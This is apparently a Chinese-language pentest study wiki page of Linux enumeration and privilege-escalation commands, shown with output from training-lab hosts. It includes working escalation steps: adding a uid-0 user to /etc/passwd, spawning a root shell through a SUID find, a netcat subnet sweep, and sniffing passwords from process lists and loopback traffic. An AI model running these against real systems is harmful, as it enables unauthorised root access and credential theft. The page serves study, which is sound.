

【Linux】【列舉】常用命令

```
# 尋找當前用戶可寫目錄
oe@debian-privesc:~$ find / -writable -type d 2>/dev/null
..
/home/joe
/home/joe/Videos
/home/joe/Templates
/home/joe/.local
/home/joe/.local/share
```

```
# 搜索帶有 SUID 位設置的文件 (-type f , -perm -u=s)
# -perm 權限搜索 -u UID
joe@debian-privesc:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/fusermount
```

```
# 使用python3 打開tty
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
# 建立user root2
joe@debian-privesc:~$ openssl passwd w00t
Fdzt.eqJQ4s0g

joe@debian-privesc:~$ echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

joe@debian-privesc:~$ su root2
Password: w00t

root@debian-privesc:/home/joe# id
uid=0(root) gid=0(root) groups=0(root)
```

```
# 尋找設置uid檔案
joe@debian-privesc:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/perl5.28.1 = cap_setuid+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```

```
joe@debian-privesc:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

joe@debian-privesc:~$ id
uid=1000(joe) gid=1000(joe) groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),
46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)

joe@debian-privesc:~$ hostname
debian-privesc

joe@debian-privesc:~$ cat /etc/issue
Debian GNU/Linux 10 \n \l

joe@debian-privesc:~$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```

```
joe@debian-privesc:~$ uname -a
Linux debian-privesc 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30)
x86_64 GNU/Linux

joe@ubuntu-privesc:~$ uname -r
4.4.0-116-generic

joe@ubuntu-privesc:~$ arch
x86_64
```

```
# 土炮 nmap
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

< (seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
nc: connect to 172.16.50.1 port 445 (tcp) timed out: Operation now in progress
...
nc: connect to 172.16.50.216 port 445 (tcp) failed: Connection refused
Connection to 172.16.50.217 445 port [tcp/microsoft-ds] succeeded!
nc: connect to 172.16.50.218 port 445 (tcp) timed out: Operation now in progress
...
database_admin@pgdatabase01:~$
```

```
# 查詢sudo 可用指令
eve@debian-privesc:~$ sudo -l
[sudo] password for eve:
Matching Defaults entries for eve on debian-privesc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eve may run the following commands on debian-privesc:
    (ALL : ALL) ALL
```

```
joe@debian-privesc:~$ env
...
XDG_SESSION_CLASS=user
TERM=xterm-256color
SCRIPT_CREDENTIALS=lab
USER=joe
LC_TERMINAL_VERSION=3.4.16
SHLVL=1
XDG_SESSION_ID=35
LC_CTYPE=UTF-8
XDG_RUNTIME_DIR=/run/user/1000
SSH_CLIENT=192.168.118.2 59808 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
MAIL=/var/mail/joe
SSH_TTY=/dev/pts/1
OLDPWD=/home/joe/.cache
_=/usr/bin/env
```

```
# ps 查看進程
joe@debian-privesc:~$ watch -n 1 "ps -aux | grep pass"
...

joe  16867  0.0  0.1  6352 2996 pts/0  S+   05:41   0:00 watch -n 1 ps -aux | grep pass
root  16880  0.0  0.0  2384  756 ?      S    05:41   0:00 sh -c sshpass -p 'Lab123' ssh -t eve@127.0.0.1 'sleep 5;exit'
root  16881  0.0  0.0  2356 1640 ?      S    05:41   0:00 sshpass -p zzzzzz ssh -t eve@127.0.0.1 sleep 5;exit
...

# tcpdump 擷取封包
joe@debian-privesc:~$ sudo tcpdump -i lo -A | grep "pass"
[sudo] password for joe:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
...{...user:root,pass:lab -
...5...5user:root,pass:lab -
```

```
joe@debian-privesc:~$ ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 169592 10176 ?        Ss   Aug16   0:02 /sbin/init
...
colord    752  0.0  0.6 246984 12424 ?        Ssl  Aug16   0:00 /usr/lib/colord/colord

# -C {process name}
joe@debian-privesc:~$ ps u -C passwd
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root    1932  0.0  0.1  9364  2984 pts/0    S+   01:51   0:00 passwd

# 按"Uid"關鍵字篩選返回了四個參數，分別對應實際UID、有效UID、保存的設置UID和文件系統UID
joe@debian-privesc:~$ grep Uid /proc/1932/status
Uid: 1000 0 0 0

# 如果find 被賦予 suid 0
# -exec "/usr/bin/bash" : 這部分告訴 find 在找到的每個文件上執行指定的命令
joe@debian-privesc:~$ find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
bash-5.0# id
uid=1000(joe) gid=1000(joe) euid=0(root)
groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugin),109(netdev),112(bluetooth),116(lpadmin),117(scanner)

bash-5.0# whoami
root
```

```
joe@debian-privesc:~$ ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 169592 10176 ?        Ss   Aug16   0:02 /sbin/init
...
colord    752  0.0  0.6 246984 12424 ?        Ssl  Aug16   0:00 /usr/lib/colord/colord
# -C {process name}
joe@debian-privesc:~$ ps u -C passwd
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root    1932  0.0  0.1  9364  2984 pts/0    S+   01:51   0:00 passwd

joe@debian-privesc:~$ ip a
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:8a:72:64 brd ff:ff:ff:ff:ff:ff
    inet 172.16.60.214/24 brd 172.16.60.255 scope global ens224
        valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:7264/64 scope link
        valid_lft forever preferred_lft forever

# route or routel
joe@debian-privesc:~$ routel
      target         gateway         source  proto  scope  dev tbl
/usr/bin/routel: 48: shift: cant shift that many
      default  192.168.50.254          static    ens192
172.16.60.0 24          172.16.60.214  kernel  link ens224
192.168.50.0 24          192.168.50.214  kernel  link ens192
127.0.0.0    broadcast  127.0.0.1    kernel  link  lo local
127.0.0.0 8        local    127.0.0.1    kernel  host  lo local

# -a 列舉所有連接，使用 -n 避免主機名解析，-p 顯示連接所屬的進程
joe@debian-privesc:~$ ss -anp
Netid  State  Recv-Q  Send-Q               Local Address:Port               Peer Address:Port
nl      UNCONN  0        0                   0:461                             *
nl      UNCONN  0        0                   0:323                             *
nl      UNCONN  0        0                   0:457
```

```
joe@debian-privesc:~$ ls -lah /etc/cron*
-rw-r--r-- 1 root root 1.1K Oct 11 2019 /etc/crontab

/etc/cron.d:
/etc/cron.daily:
/etc/cron.hourly:
/etc/cron.monthly:
/etc/cron.weekly:
```

```
joe@debian-privesc:~$ crontab -l
joe@debian-privesc:~$ crontab -e
```

```
joe@debian-privesc:~$ cat /etc/iptables/rules.v4
# Generated by xtables-save v1.8.2 on Thu Aug 18 12:53:22 2022
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -p tcp -m tcp --dport 1999 -j ACCEPT
COMMIT
# Completed on Thu Aug 18 12:53:22 2022
```

```
joe@debian-privesc:~$ dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                      Version                Architecture Description
+++-=====
=====
ii accountsservice            0.6.45-2              amd64      query and manipulate user account information
ii acl                        2.2.53-4              amd64      access control list - utilities
ii adduser                    3.118                 all        all
```

```
joe@debian-privesc:~$ cat /etc/fstab
...
UUID=60b4af9b-bc53-4213-909b-a2c5e090e261 /          ext4    errors=remount-ro 0    1
# swap was on /dev/sda5 during installation
UUID=86dc11f3-4b41-4e06-b923-86e78eaddab7 none        swap    sw          0    0
/dev/sr0    /media/cdrom0  udf,iso9660 user,noauto 0    0

joe@debian-privesc:~$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1001064k,nr_inodes=250266,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=204196k,mode=755)
```

```
joe@debian-privesc:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda   8:0    0 32G  0 disk
|-sda1 8:1    0 31G  0 part /
|-sda2 8:2    0  1K  0 part
`-sda5 8:5    0 975M  0 part [SWAP]
sr0   11:0   1 1024M  0 rom
```

```
# lsmod 命令列舉已加載的內核模塊
joe@debian-privesc:~$ lsmod
Module              Size Used by
binfmt_misc         20480 1
rfkill              28672 1

...
drm                 495616 5 vmwgfx,drm_kms_helper,ttm
libata              270336 2 ata_piix,ata_generic
vmw_pvscsi          28672 2
scsi_mod            249856 5 vmw_pvscsi,sd_mod,libata,sg,sr_mod

# modinfo 來查找有關特定模塊的更多信息。注意，此工具需要完整的路徑來運行。
joe@debian-privesc:~$ /sbin/modinfo libata
filename:    /lib/modules/4.19.0-21-amd64/kernel/drivers/ata/libata.ko
version:     3.00
license:     GPL
description:  Library module for ATA devices
```

```
author:      Jeff Garzik
srcversion:  00E4F01BB3AA2AAF98137BF
depends:      scsi_mod
retpoline:   Y
intree:      Y
name:        libata
vermagic:    4.19.0-21-amd64 SMP mod_unload modversions
sig_id:      PKCS#7
signer:      Debian Secure Boot CA
sig_key:     4B:6E:F5:AB:CA:66:98:25:17:8E:05:2C:84:66:7C:CB:C0:53:1F:8C
...
```

🕒 修訂版本 #15

★ 由 treeman 建立於 21 🕒@🕒🕒 2024 07:01:29

✍ 由 treeman 更新於 21 🕒@🕒🕒 2024 18:46:13